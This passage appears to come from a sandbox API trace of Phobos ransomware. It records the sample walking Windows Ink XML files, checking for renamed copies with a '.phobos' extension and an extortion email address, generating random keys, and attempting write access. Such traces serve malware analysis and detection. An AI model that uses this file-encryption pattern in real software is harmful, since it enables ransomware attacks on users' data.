dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8 [0132.398] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x310fa38 | out: lpFileSize=0x310fa38*=212) returned 1 [0132.398] CloseHandle (hObject=0x2e8) returned 1 [0132.398] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\auxpad.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\auxpad.xml")) returned 0x20 [0132.398] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\auxpad.xml.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\auxpad.xml.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0132.398] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\auxpad.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\auxpad.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0132.398] CryptGenRandom (in: hProv=0x7268e0, dwLen=0x10, pbBuffer=0x310fa98 | out: pbBuffer=0x310fa98) returned 1 [0132.398] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\insert\\insertbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\insert\\insertbase.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8 [0132.399] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x310fa38 | out: lpFileSize=0x310fa38*=903) returned 1 [0132.399] CloseHandle (hObject=0x2e8) returned 1 [0132.399] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\insert\\insertbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\insert\\insertbase.xml")) returned 0x20 [0132.399] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\insert\\insertbase.xml.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\insert\\insertbase.xml.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0132.399] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\insert\\insertbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\insert\\insertbase.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0132.399] CryptGenRandom (in: hProv=0x7268e0, dwLen=0x10, pbBuffer=0x310fa98 | out: pbBuffer=0x310fa98) returned 1 [0132.399] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\insert.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\insert.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8 [0132.399] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x310fa38 | out: lpFileSize=0x310fa38*=215) returned 1 [0132.399] CloseHandle (hObject=0x2e8) returned 1 [0132.399] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\insert.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\insert.xml")) returned 0x20 [0132.399] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\insert.xml.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\insert.xml.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0132.399] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\insert.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\insert.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0132.399] CryptGenRandom (in: hProv=0x7268e0, dwLen=0x10, pbBuffer=0x310fa98 | out: pbBuffer=0x310fa98) returned 1 [0132.399] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\ea.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad\\ea.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8 [0132.400] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x310fa38 | out: lpFileSize=0x310fa38*=384) returned 1 [0132.400] CloseHandle (hObject=0x2e8) returned 1 [0132.400] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\ea.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad\\ea.xml")) returned 0x20 [0132.400] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\ea.xml.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad\\ea.xml.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0132.400] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\ea.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad\\ea.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0132.400] CryptGenRandom (in: hProv=0x7268e0, dwLen=0x10, pbBuffer=0x310fa98 | out: pbBuffer=0x310fa98) returned 1 [0132.400] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\keypadbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad\\keypadbase.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8 [0132.400] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x310fa38 | out: lpFileSize=0x310fa38*=903) returned 1 [0132.400] CloseHandle (hObject=0x2e8) returned 1 [0132.400] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\keypadbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad\\keypadbase.xml")) returned 0x20 [0132.400] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\keypadbase.xml.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad\\keypadbase.xml.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0132.401] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\keypadbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad\\keypadbase.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0132.401] CryptGenRandom (in: hProv=0x7268e0, dwLen=0x10, pbBuffer=0x310fa98 | out: pbBuffer=0x310fa98) returned 1 [0132.401] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\kor-kor.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad\\kor-kor.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8 [0132.401] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x310fa38 | out: lpFileSize=0x310fa38*=392) returned 1 [0132.401] CloseHandle (hObject=0x2e8) returned 1 [0132.401] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\kor-kor.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad\\kor-kor.xml")) returned 0x20 [0132.401] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\kor-kor.xml.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad\\kor-kor.xml.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0132.401] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\kor-kor.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad\\kor-kor.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0132.401] CryptGenRandom (in: hProv=0x7268e0, dwLen=0x10, pbBuffer=0x310fa98 | out: pbBuffer=0x310fa98) returned 1 [0132.401] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8 [0132.401] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x310fa38 | out: lpFileSize=0x310fa38*=693) returned 1 [0132.402] CloseHandle (hObject=0x2e8) returned 1 [0132.402] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad.xml")) returned 0x20 [0132.402] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad.xml.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad.xml.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0132.402] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0132.402] CryptGenRandom (in: hProv=0x7268e0, dwLen=0x10, pbBuffer=0x310fa98 | out: pbBuffer=0x310fa98) returned 1 [0132.402] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8 [0132.403] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x310fa38 | out: lpFileSize=0x310fa38*=3333) returned 1 [0132.403] CloseHandle (hObject=0x2e8) returned 1 [0132.403] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base.xml")) returned 0x20 [0132.403] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base.xml.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base.xml.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0132.403] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0132.403] CryptGenRandom (in: hProv=0x7268e0, dwLen=0x10, pbBuffer=0x310fa98 | out: pbBuffer=0x310fa98) returned 1 [0132.403] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\baseAltGr_rtl.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\basealtgr_rtl.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8 [0132.403] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x310fa38 | out: lpFileSize=0x310fa38*=247) returned 1 [0132.403] CloseHandle (hObject=0x2e8) returned 1 [0132.403] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\baseAltGr_rtl.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\basealtgr_rtl.xml")) returned 0x20 [0132.403] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\baseAltGr_rtl.xml.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\basealtgr_rtl.xml.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0132.403] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\baseAltGr_rtl.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\basealtgr_rtl.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0132.404] CryptGenRandom (in: hProv=0x7268e0, dwLen=0x10, pbBuffer=0x310fa98 | out: pbBuffer=0x310fa98) returned 1 [0132.404] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_altgr.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_altgr.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8 [0132.404] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x310fa38 | out: lpFileSize=0x310fa38*=3524) returned 1 [0132.404] CloseHandle (hObject=0x2e8) returned 1 [0132.404] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_altgr.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_altgr.xml")) returned 0x20 [0132.404] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_altgr.xml.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_altgr.xml.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0132.404] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_altgr.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_altgr.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0132.404] CryptGenRandom (in: hProv=0x7268e0, dwLen=0x10, pbBuffer=0x310fa98 | out: pbBuffer=0x310fa98) returned 1 [0132.404] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_ca.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_ca.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8 [0132.404] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x310fa38 | out: lpFileSize=0x310fa38*=3529) returned 1 [0132.404] CloseHandle (hObject=0x2e8) returned 1 [0132.404] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_ca.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_ca.xml")) returned 0x20 [0132.405] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_ca.xml.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_ca.xml.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0132.405] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_ca.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_ca.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0132.405] CryptGenRandom (in: hProv=0x7268e0, dwLen=0x10, pbBuffer=0x310fa98 | out: pbBuffer=0x310fa98) returned 1 [0132.405] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_heb.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_heb.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8 [0132.405] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x310fa38 | out: lpFileSize=0x310fa38*=738) returned 1 [0132.405] CloseHandle (hObject=0x2e8) returned 1 [0132.405] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_heb.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_heb.xml")) returned 0x20 [0132.405] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_heb.xml.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_heb.xml.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0132.405] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_heb.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_heb.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0132.405] CryptGenRandom (in: hProv=0x7268e0, dwLen=0x10, pbBuffer=0x310fa98 | out: pbBuffer=0x310fa98) returned 1 [0132.405] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_jpn.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_jpn.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8 [0132.406] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x310fa38 | out: lpFileSize=0x310fa38*=804) returned 1 [0132.406] CloseHandle (hObject=0x2e8) returned 1 [0132.406] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_jpn.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_jpn.xml")) returned 0x20 [0132.406] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_jpn.xml.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_jpn.xml.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0132.406] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_jpn.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_jpn.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0132.406] CryptGenRandom (in: hProv=0x7268e0, dwLen=0x10, pbBuffer=0x310fa98 | out: pbBuffer=0x310fa98) returned 1 [0132.406] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_kor.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_kor.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8 [0132.406] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x310fa38 | out: lpFileSize=0x310fa38*=488) returned 1 [0132.406] CloseHandle (hObject=0x2e8) returned 1 [0132.406] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_kor.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_kor.xml")) returned 0x20 [0132.406] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_kor.xml.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_kor.xml.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0132.406] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_kor.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_kor.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0132.406] CryptGenRandom (in: hProv=0x7268e0, dwLen=0x10, pbBuffer=0x310fa98 | out: pbBuffer=0x310fa98) returned 1 [0132.406] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_rtl.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_rtl.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8 [0132.407] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x310fa38 | out: lpFileSize=0x310fa38*=617) returned 1 [0132.407] CloseHandle (hObject=0x2e8) returned 1 [0132.407] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_rtl.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_rtl.xml")) returned 0x20 [0132.407] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_rtl.xml.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_rtl.xml.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0132.407] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_rtl.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_rtl.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0132.407] CryptGenRandom (in: hProv=0x7268e0, dwLen=0x10, pbBuffer=0x310fa98 | out: pbBuffer=0x310fa98) returned 1 [0132.407] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\ja-jp.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\ja-jp.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8 [0132.407] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x310fa38 | out: lpFileSize=0x310fa38*=16616) returned 1 [0132.407] CloseHandle (hObject=0x2e8) returned 1 [0132.407] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\ja-jp.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\ja-jp.xml")) returned 0x20 [0132.407] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\ja-jp.xml.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\ja-jp.xml.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0132.407] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\ja-jp.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\ja-jp.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0132.408] CryptGenRandom (in: hProv=0x7268e0, dwLen=0x10, pbBuffer=0x310fa98 | out: pbBuffer=0x310fa98) returned 1 [0132.408] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\ko-kr.xml" (normalized: "c:\\program files\\common files\\microsoft 